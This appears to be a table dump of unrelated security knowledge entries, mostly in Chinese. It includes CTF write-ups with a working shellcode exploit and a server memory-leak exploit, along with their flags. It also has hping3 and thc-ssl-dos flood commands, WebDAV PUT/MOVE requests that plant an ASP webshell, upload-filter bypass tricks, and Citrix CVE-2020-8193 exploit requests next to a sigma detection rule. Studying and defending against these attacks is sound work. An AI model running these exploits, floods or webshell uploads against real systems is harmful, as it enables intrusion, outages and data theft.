text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.shiro.samples;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class AccountInfoController {
@RequestMapping("/admin/")
public String home(Model model) {
String name = "World";
Subject subject = SecurityUtils.getSubject();
PrincipalCollection principalCollection = subject.getPrincipals();
if (principalCollection != null && !principalCollection.isEmpty()) {
name = principalCollection.getPrimaryPrincipal().toString();
}
model.addAttribute("name", name);
return "account-info";
}
}
|
sec-knowleage
|
# 2-逆运算
---
目标 T2.exe
使用 IDA 打开,找 main 函数,并做基本的分析,重命名函数
根据提示,这里的 sub_45405E 可能是 strlen 函数
分析伪代码,输入值赋给 v7变量,然后经过转换,在与下列字符串进行比较
```
gmbh|ZPV`GJOE`JU`IBIB~
```
转换的代码是
```c
for ( i = 0; i < strlen(v7); ++i )
++v7[i];
```
意思就是每一个字符 + 1, 那么将比较字符串每一个字符 - 1 即可得到 flag
编写相应 python 脚本
```python
string=bytearray(b"gmbh|ZPV`GJOE`JU`IBIB~")
for i in range(len(string)):
string[i]-=1;
print(string)
```
---
**Source & Reference**
- [萌新学逆向——T2 逆运算的奥秘](https://mp.weixin.qq.com/s/e3ie6_DLZEE8i_RT_5mPRQ)
|
sec-knowleage
|
# gps
Binary Exploitation, 550 points
## Description:
> You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag?
```c
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define GPS_ACCURACY 1337
typedef void (fn_t)(void);
void initialize() {
printf("GPS Initializing");
for (int i = 0; i < 10; ++i) {
usleep(300000);
printf(".");
}
printf("Done\n");
}
void acquire_satellites() {
printf("Acquiring satellites.");
for (int i = 0; i < 3; ++i) {
printf("Satellite %d", i);
for (int j = 0; j < rand() % 10; ++j) {
usleep(133700);
printf(".");
}
if (i != 3) {
printf("Done\n");
} else {
printf("Weak signal.\n");
}
}
printf("\nGPS Initialized.\n");
printf("Warning: Weak signal causing low measurement accuracy\n\n");
}
void *query_position() {
char stk;
int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2);
void *ret = &stk + offset;
return ret;
}
int main() {
setbuf(stdout, NULL);
char buffer[0x1000];
srand((unsigned) (uintptr_t) buffer);
initialize();
acquire_satellites();
printf("We need to access flag.txt.\nCurrent position: %p\n", query_position());
printf("What's your plan?\n> ");
fgets(buffer, sizeof(buffer), stdin);
fn_t *location;
printf("Where do we start?\n> ");
scanf("%p", (void**) &location);
location();
return 0;
}
```
## Solution:
The program reads user input into a local buffer, then jumps to a location of our choice. We need to use this to get a shell.
Running the program through checksec, we get the following:
```console
root@kali:/media/sf_CTFs/pico/gps# checksec.sh -f gps
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX disabled No PIE No RPATH No RUNPATH 81 Symbols Yes 0 4 gps
```
NX is disabled, so we can execute from the stack. It's easy to feed the program with shellcode, since it simply asks for input. Now we just need to find a way to jump to our shellcode.
We know the approximate location of the buffer on the stack, since we are given the location of a local variable in `query_position()`, give or take `(GPS_ACCURACY / 2)` bytes.
The local buffer is 0x1000 bytes long, while `(GPS_ACCURACY / 2)` is 668. So, if we put the shellcode at the end of the buffer, and we calculate the worst case (where we are off by 688 plus a bit more for the difference between `stk` and `buffer`), we still have more than enough room to create a "nop slide" that will execute our code.
The script:
```python
from pwn import *
import re
context(arch='amd64', os='linux', bits = '64')
#context.log_level="debug"
BUF_LEN = 0x1000 - 5
GPS_ACCURACY = 1337
nop = asm(shellcraft.nop())
shellcode = pwnlib.shellcraft.amd64.linux.sh()
sc_asm = asm(shellcode)
log.info("Shellcode: {}".format(shellcode))
log.info("Length of shellcode: {}".format(len(sc_asm)))
payload = nop * (BUF_LEN - len(sc_asm)) + sc_asm
p = remote("2018shell3.picoctf.com", 58896)
out = p.recvuntil("> ")
address = re.search("Current position: (0x[a-fA-F0-9]+)", out).group(1)
log.info("Current position: {}".format(address))
guess = int(address, 16) + GPS_ACCURACY
log.info("Destination: 0x{:02x}".format(guess))
p.sendline(payload)
p.recvuntil("> ")
p.sendline(format(guess, 'x'))
p.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/gps# python exploit.py
[*] Shellcode: /* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
[*] Length of shellcode: 48
[+] Opening connection to 2018shell3.picoctf.com on port 58896: Done
[*] Current position: 0x7ffd0d92363b
[*] Destination: 0x7ffd0d923b74
[*] Switching to interactive mode
$ ls
flag.txt
gps
gps.c
xinet_startup.sh
$ cat flag.txt
picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_alhujefk}
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 2018shell3.picoctf.com port 58896
[*] Got EOF while sending in interactive
```
The flag: picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_alhujefk}
|
sec-knowleage
|
# 拒绝服务攻击
* **DoS(Denial of Service):拒绝服务**
通过对主机特定漏洞的利用攻击导致网络栈失效、系统奔溃、主机死机等而无法提供正常的网络服务功能,从而造成拒绝服务。
* **DDoS(Distributed Denial of Service):分布式拒绝服务**
通过很多"僵尸主机"向受害主机发送大量看似正常的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。
## 拒绝服务攻击分类
### 网络层攻击
* **UDP-Flood**
由于UDP协议是一种无连接的服务,在UDPFLOOD攻击中,攻击者可发送大量伪造源IP地址的小UDP包。但是,由于UDP协议是无连接性的,所以只要开了一个UDP的端口提供相关服务的话,那么就可针对相关的服务进行攻击。-- 百度百科
防御技巧:
```
摘自"百度百科"
攻击业务端口:根据该业务UDP最大包长设置UDP最大包大小以过滤异常流量。
攻击非业务端口:
一个是丢弃所有UDP包,可能会误伤正常业务。
一个是建立UDP连接规则,要求所有去往该端口的UDP包,必须首先与TCP端口建立TCP连接,需要防火墙支撑。
```
* **TCP-Flood**
TCP攻击俗称SYN泛洪,利用TCP三次握手协议来攻击计算机,主要是通过伪造大量IP的半连接去攻击对方系统。
* **ICMP-Flood**
死亡之ping,正常ICMP协议数据包为96字节,攻击者使用的ICMPFlood通常设定较大的长度。
### 协议层攻击
* **TCP/UDP/ICMP分片**
当协议栈收到分片通知时,需要预留一定的内存来组装数据包,攻击者恶意使用分片功能时,就会导致服务端的协议栈资源消耗过大。
* **SYN-Flood**
正常流程:客户端发送SYC,服务端响应SYN+ACK,客户端回传ACK+1。
攻击流程:伪造不存在的IP发送请求,服务端接受不到ACK+1,会持续发送SYN+ACK,同时保持着未完成的连接,这样容易占满服务器的连接队列达到效果。
* **ACK-Flood**
与SYN-Flood攻击类似,攻击者发送ACK包,如果目标系统允许ACK来建立连接就很容易导致连接表项资源耗尽,同时协议栈还会发现这类数据包不合法和响应reset包,导致系统资源消耗过大。
* **zeroWindow**
建立连接后,发送数据请求,服务端准备好数据时,攻击者发送ack包指定window大小为0,这是服务端无法发送数据处于等待状态,通过建立大量这样的连接来消耗服务端资源。
* **Connection-Flood**
仅建立连接不发送数据,由于服务器等待超时,在这个过程中建立大量这样的连接,实现拒绝服务攻击。
* **SSL-Flood**
不断的发起SSL握手,SSL握手过程,服务端消耗的资源是客户端的15倍。
* **SSLKeyRenego**
在协商加密算法的时候服务端CPU的消耗是客户端的15倍左右,而Renegotiating机制可以让攻击者在一个TCP连接中不断进行重新协商,导致服务端CPU资源耗尽。
防御技巧:
```
禁用Renegotiating机制来实现防御
```
### 反射放大攻击
反射:无论DNS还是NTP,都是基于UDP协议的,在UDP协议中正常客户端发送请求包到服务端,服务端返回响应包到客户端,但是UDP协议是面向无连接的,所以客户端发送请求包的源IP很容易进行伪造,当把源IP修改为受害者的IP,最终服务端返回的响应包就会返回到受害者的IP,这样就形成了反射攻击。
放大:一个小的请求包最终会受到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。
* **DNS反射**
利用互联网上开放的DNS地柜服务器作为攻击源,利用"反弹"手法攻击目标机器。
正常流程:源IP地址--DNS查询--DNS服务器--DNS回复包--源IP地址
攻击流程:伪造IP地址(受害者IP)--DNS查询--DNS服务器--DNS回复包--伪造的IP地址(攻击目标)
* **NTP反射**
NTP包含一个monlist功能,也被称为MON_GETLIST,主要用于监控NTP服务器,NTP服务器响应monlist后悔返回与NTP服务器进行过时间同步的最后600个客户端IP,响应包按照每6个IP进行分割,最多有100个响应包。
* **SNMP反射**
* **SSDP反射**
* **Chargen反射**
### 其它类型
* **DRDoS**
DRDoS(Distributed Reflection Denial of Service):分布式反射攻击
* **ReDoS**
ReDoS(Regular Expression Denial of Service):正则表达式拒绝服务攻击,开发人员使用了正则表达式来对用户输入的数据进行有效性校验,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务终端或停止。
* **无线DDoS**
## 测试工具
### hping3
[官网地址](http://www.hping.org/hping3.html)
* **Centos7编译安装,kali自带**
```
# 解决环境依赖
yum install gcc.x86_64 libpcap-devel.x86_64 tcl-devel -y
# 下载
wget http://www.hping.org/hping3-20051105.tar.gz
# 解压并开始编译
tar -xf hping3-20051105.tar.gz && cd hping3-20051105
./configure
# 报错如图
```

```
# 修改文件,修改内容如图
vim bytesex.h
```

```
# 编译完成,进行安装
make
# 报错如图
```

```
# 链接文件
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
# 再次安装
make && make install
```
* **hping3使用案例**
```
# 测试SYN Flood
hping3 -S --flood -V -p PORT IP
hping3 -c 20000 -d 120 -S -w 64 -p PORT --flood --rand-source IP # 随机源IP
# 测试UDP Flood
hping3 --flood --rand-source --udp -p PORT IP
# 测试TCP FIN Flood
hping3 --flood --rand-source -F -p PORT IP
# 测试TCP RST Flood
hping3 --flood --rand-source -R -p PORT IP
# 测试PUSH和ACK Flood
hping3 --flood --rand-source -PA -p PORT IP
# 测试ICMP和IGMP Flood
hping3 --flood --rand-source -1 -p PORT IP
```
### Thc-SSL-DoS
* **Centos7编译安装,kali自带**
```
# 解决环境依赖
yum install gcc.x86_64 openssl-devel.x86_64 -y
# 下载
git clone git://git.kali.org/packages/thc-ssl-dos.git && cd thc-ssl-dos
# 编译安装
./configure
make && make install
```
* **Thc-SSL-DoS使用案例**
```
thc-ssl-dos -l 500 IP PORT --accept
```
## 拒绝服务攻击防御
本质:网络层面的DDoS攻击是无法防御的,能做的就是不断优化自身的网络架构,以及提升网络带宽。
### 增加链路带宽
### ISP/WAN层
电信云堤产品提供"流量压制"和"近源清洗":
* **流量压制**
分方向的黑洞路由
* **近源清洗**
### CDN/Internet层
CDN本身不是抗DDoS产品,但是针对Web服务而言,CDN可以提供一定的抗D效果。
### DC层
DataCenter这一层的防御属于近目的清洗,在DC出口的地方部署ADS设备。
### OS/APP层
应用层防御。
## 参考资料
[五步七招,开启最强DDoS攻防战!](https://dbaplus.cn/news-21-1005-1.html)
[DDoS攻击方式总结](https://www.secpulse.com/archives/64088.html)
[基于Memcached分布式系统DRDoS拒绝服务攻击技术研究](https://blog.csdn.net/microzone/article/details/79262549)
[浅析ReDoS的原理与实践](https://www.freebuf.com/articles/network/124422.html)
[浅谈DDoS攻击与防御](https://thief.one/2017/05/10/1/)

|
sec-knowleage
|
fg
===
将后台作业移动到前台终端运行
## 概要
```shell
fg [job_spec ...]
```
## 主要用途
- 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。
- 若后台任务中只有一个,则使用该命令时可以省略任务号。
## 参数
job_spec(可选):指定要移动到前台执行的作业标识符,可以是一到多个。
## 返回值
返回作业的执行状态,如果发生了错误返回失败。
## 例子
```shell
# 运行sleep命令,然后按下ctrl+z。
sleep 60
^Z
[1]+ Stopped sleep 60
# 使用fg命令使得作业在前台运行。
fg %1
# 返回信息:
sleep 60
```
### 注意
1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
# Introduction
在 Linux 内核漏洞利用中,攻击者可能会有以下几个目的
- 提权,即获取到 root 权限。
- 泄露敏感信息。
- DoS,即使得内核崩溃。
一般而言,攻击者的主要目的是提权。
|
sec-knowleage
|
原文 by wooyun wiki、t00ls.net
## 一、文件上传漏洞
### 漏洞危害
1).上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
2).上传文件是flash的策略文件crossdomain.xml,黑客可以绕过flash跨域请求的限制。
3).上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载
4).上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器上会作为脚本执行,被用于钓鱼和欺诈。
除此之外,还有一些不常见的利用方法,比如上传文件使一些web后台处理程序溢出,比如图片解析模块;或者上传一个txt文件,但里面包含了部分php脚本,如果还存在本地文件包含漏洞,也会导致代码执行。
### 漏洞细分
1、 [高危],上传脚本木马、二进制文件,导致服务器被入侵;
2、 [中危],上传htm, html, swf 等静态资源,可造成存储XSS等;
3、 [低危],上传flash文件头(CWS)的图片文件,可造成flash跨域读取
要完成这个攻击,要满足以下几个条件:
1.上传的文件能够被web容器解释执行。所以文件上传后所在的目录需要能被web容器所覆盖到。
2.用户能够从web上访问这个文件。如果文件上传了,但用户无法通过web方式,或者无法让web容器解释这个脚本,那么也不能称之为漏洞。
3.用户上传的文件若被安全检查,格式化,图片压缩,文件改名,内容编码过滤等改变了内容,则也可能导致攻击不成功。
### 设计安全的文件上传功能
1.文件上传的目录设置为不可访问某些可执行脚本后缀的文件(如果站点还存在文件包含漏洞,也可能被执行)。
以Apache为例,我们可以利用 .htaccess 文件机制来对web server行为进行限制
在这里插一句,如果不是专门的文件下载目录,请务必关掉文件夹浏览的权限,以防止嗅探和可能的越权,也是使用.htaccess文件,在其中加上一句 `Options All -Indexes`即可,但请注意 .htaccess 不能被上传覆盖掉。
禁止脚本执行有多种方式可以实现,而且分别有不同的效果,我们分别来看一下
1.1.指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type 可以加上如下几行
`AddType text/plain .pl .py .php`
这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type
1.2.如果要完全禁止特定扩展名的文件被访问,用下面的几行
```
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
```
在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden 的错误
1.3.也可以强制web服务器对于特定文件类型的处理,与第一条不同的是,下面的方法直接强行让apache 将文件识别为你指定的类型,而第一种是让浏览器识别
```
<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
ForceType text/plain
</FilesMatch>
```
看代码就可以很明白的知道,符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型。
1.4.只允许访问特定类型的文件
```
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
order deny,allow
deny from all
</Files>
```
在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。
2.判断文件类型,可以结合使用mime type、后缀方式、文件头部(getimagesize、exif_imagetype),强烈推荐白名单方式。
3.使用随机数改写文件名和文件路径;或者把文件放在非web 目录下,且设置open_basedir 以避免被文件包含。
4.单独设置文件服务器的域名。
### 自动化检测上传漏洞思路
1. 请求一个url,从body 解析出 form enctype="multipart/form-data" 的表单,获取目标地址,从 input or textarea 标签中解析出参数name和value,比如 type=file, name=pic;
2. 模拟post 表单方式提交请求,比如 filename 是自定义包含随机字符串的.ext,文件data 是一些php 等脚本语言的一些执行语句,比如echo 一个md5(随机串);ext 可以是 php, php.123(某些webserver不解析123时会解析php), .htaccess(该文件若可自定义,可控制webserver是否解析非正常后缀文件), 静态文件html
3. 看post 之后返回的内容中是否包含文件链接(form,frame,a,meta),若有请求之,看返回内容是否匹配;
4. 若没有则遍历路径,直到最顶层,看是否存在上传的文件;
5. 拼接常见的存放上传文件的目录名,看是否存在上传的文件;
6. 若找不到上传的文件,可能是文件名被改名,或者目录比较随机,但此时若文件data是会被执行的一些命令
(比如上传了一个图片,图片内容含一些命令执行,而图片会被ImageMagick 处理)也会有盲打的效果。
此种方法不能解决使用 js 来发起请求(即存在form 表单但缺失action 属性,点击提交后由ajax 发起请求[data: new FormData($('#uploadForm')[0])])的情形,甚至有些 form 表单需要点击某个地方才会渲染展开,也不能覆盖。
或者直接从某些流量获取后端上传cgi 的请求包体,替换 filename、content-type 和 文件 data 部分,再重放请求包。
但存在一种非正常格式的上传数据包,此时也没办法自动覆盖,即把 文件名name 和 文件 类型 type 作为get 参数,而文件内容作为 post body。
注意:表单中没有name 属性的数据不会被提交。
出于安全考虑,浏览器只允许用户点击`<input type="file">`来选择本地文件,用JavaScript 对`<input type="file">`的value 赋值是没有任何效果的。当用户选择了上传某个文件后,JavaScript 也无法获得该文件的真实路径。
文件上传绕过思维导图:
除了下面的一些思路,比如可以尝试下畸形的http 请求,比如去掉文本body 里面的content-type,去掉content-disposition 间隔的空格,将 name, filename 等大小写,如果 waf 没有处理好这些情况,而 apache 等服务器又能够识别这类畸形请求,就可能导致绕过。

## 二、漏洞成因
导致文件上传的漏洞的原因较多,主要包括以下几类:
- 服务器配置不当
- 开源编辑器上传漏洞
- 本地文件上传限制被绕过
- 过滤不严或被绕过
- 文件解析漏洞导致文件执行
- 文件路径截断
1.服务器配置不当
当服务器配置不当时,在不需要上传页面的情况下便可导致任意文件上传,IIS服务器 相关put 方法漏洞参见下面描述:
对服务器发送OPTION包:
```
OPTIONS / HTTP/1.1
Host: www.xxx.com
```
若返回的HTTP响应头中带有PUT、MOVE等方法时则可以确定服务器开启了WebDAV。
此时用PUT上传一个SHELL,但SHELL后缀不可以是可执行文件后缀。
```
PUT /test.txt HTTP/1.1
Host: www.xxx.com
Content-Length: 23
<%eval request("a")%>
```
若服务器启用了“WebDAV”扩展,并且复选了“写入”,就可以写入txt文件了。
若服务器开启了“脚本资源访问”,可以用MOVE方法将txt后缀文件改成可执行文件的后缀。
```
MOVE /test.txt HTTP/1.1
Host: www.xxx.com
Destination: http://www.xxx.com/shell.asp
```
若服务器关闭了“脚本资源访问”,可利用IIS解析漏洞来执行shell。
```
MOVE /test.txt HTTP/1.1
Host: www.xxx.com
Destination: http://www.xxx.com/test.asp;.jpg
```
若服务器开启了DELETE方法,可以使用以下HTTP请求删除制定文件。
```
DELETE /test.txt HTTP/1.1
Host: www.xxx.com
```
你也可以使用以下的开源DAV管理工具:
[DAV Explorer](http://www.davexplorer.org/installation.html)
2.开源编辑器上传漏洞
很多开源的编辑器历史上都有不同的上传漏洞,包括但不只限于CKEditor。
3.本地文件上传限制被绕过
只在客户端浏览器上做了文件限制而没有在远程的服务器上做限制,只需要修改数据包就可以轻松绕过限制。
4.过滤不严或被绕过
有些网站上使用了黑名单过滤掉了一些关键的可执行文件脚本后缀等,但黑名单不全或者被绕过,导致可执行脚本文件被上传到服务器上,执行。
如在服务器后端过滤掉了后缀为.php的文件,但并没有过滤掉.php3等其他可执行文件脚本后缀,攻击者就可以上传带有其他的可执行文件脚本本后缀的恶意文件到服务器上。
常用的一些可执行的文件脚本的后缀
php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、jsp、jspx
5.在某些情况下由于管理员错误的服务器配置(将.html后缀的文件使用php进行解析等)会导致.html、.xml等静态页面后缀的文件也可被执行。
6.在上传文件保存磁盘为NTFS格式时可通过::$DATA绕过黑名单限制,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
7.有时服务器只对第一个被上传的文件进行了检查,这时通过同时上传多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤。
8.文件解析漏洞导致文件执行
当服务器上存在文件解析漏洞时,合法的文件名便可导致带有恶意代码的文件被执行,参见解析漏洞。
9.文件路径截断
在上传的文件中使用一些特殊的符号,使得文件被上传到服务器中时路径被截断从而控制文件路径。
常用的进行文件路径截断的字符如下 \0、?、%00
10.在可以控制文件路径的情况下,使用超长的文件路径也有可能会导致文件路径截断。
11.除了常见的检查文件名后缀的方法外,有的应用还会判断上传文件的文件头来验证文件的类型。因为为了绕过类似浏览器MIME Sniff的功能,常见的攻击技巧是伪造一个合法的文件头,而将真实的php 等脚本代码附在文件头之后,比如

但此时,仍需通过php 来解释此图片文件(后缀为php或者结合文件解析漏洞)才行。
|
sec-knowleage
|
# T1190-CVE-2020-8193/CVE-2020-8195
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix Systems Citrix Application Delivery Controller(ADC)等都是美国思杰系统(Citrix Systems)公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虚拟软件定义的广域网)设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:
Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc
<https://www.cnblogs.com/potatsoSec/p/13281577.html>
Citrix安全研究历险记
<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>
## 测试留痕
暂无实测,截取部分公开资料内容作为留痕数据。
### 删除文件
```yml
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31
<clipermission></clipermission>
```
以上内容截取自<https://www.cnblogs.com/potatsoSec/p/13281577.html>
### 获取默认所有签名
```yml
POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
以上内容截取自<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>
## 检测规则/思路
### sigma规则
```yml
title: 检测可疑的CVE-2020-8193/CVE-2020-8195
references:
- https://www.cnblogs.com/potatsoSec/p/13281577.html
- https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/
status: experimental
date: 2020/07/10
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection1:
c-uri|contains:
- '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求,URL路径包含的字段。
selection2:
c-uri|contains|all:
- '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段
- 'type=all_signatures'
- 'sig_name=_default_signature_'
condition: 1 of them
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析,研判攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
|
sec-knowleage
|
# Bleeding (pwn 50)
###ENG
[PL](#pl-version)
For the task we get a [client](bleed_client) ELF binary and a server address to connect to.
The client asks us for some seed word, performs some calculations on it and sends the result to the server.
The server responds with `secure` password generated from our input and with our seed word.
The encoded data sent by client to server have 10 more bytes than our seed word.
We tried reversing the encoding algorithm, which consisted of xors, additions and subtractions but we quickly realised that it's not necessary.
The length of the seed word is encoded in the 10-bytes prefix added by client!
This meant that we could generate payload for a 512 bytes long seed and then send to the server only the initial 10 bytes.
The server would then try to sent back the seed to us, but would try to send 512 bytes, where there were 0, which resulted in sending random bytes from server stack, flag included.
```python
import socket
from time import sleep
def encode():
# full payload: 'ef9e8dd834ffbabea6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b2860a00'
# only prefix
return 'ef9e8dd834ffbabea6d5'.decode('hex')
def main():
url = "4ff0eff1d46c1d74d152aaf36de6f2799020bdbc.ctf.site"
port = 50000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
sleep(1)
s.sendall(encode())
sleep(1)
received = s.recv(9999)
print(received)
print(received.encode("hex"))
main()
```
`EKO{1m_bl33d1ng_byt35}`
###PL version
W zadaniu dostajemy [klienta](bleed_client) będącego linuxowm ELFem, oraz adres serwera do którego należy się połączyć.
Klient pyta nas o dowolny ciąg, wykonuje na nim obliczenia i wysyła do serwera.
Serwer odpowiada `bezpiecznym` hasłem wygenerowanym dla naszych danych, oraz ciągiem który podaliśmy.
Zakodowane przez klienta dane mają o 10 bajtów więcej niż ciąg który podajemy.
Próbowaliśmy początkowo zreversować algorytm kodowania, złożony z xorów, dodawań i odejmowań, ale szybko zobaczyliśmy, że nie ma takiej potrzeby.
Długość naszego ciągu była zakodowana w 10-bajtowym prefixie dodawanym przez klienta do naszego ciągu.
To oznacza że mogliśmy wygenerować klientem dane dla 512 bajtowego ciągu a potem wysłać do serwera jedynie pierwsze 10 bajtów.
Serwer próbował odesłać nam nasze dane o długości 512 bajtów, podczas gdy wysłaliśmy 0, co spowodowało wysłanie losowych wartości ze stosu serwera, w tym flagi.
```python
import socket
from time import sleep
def encode():
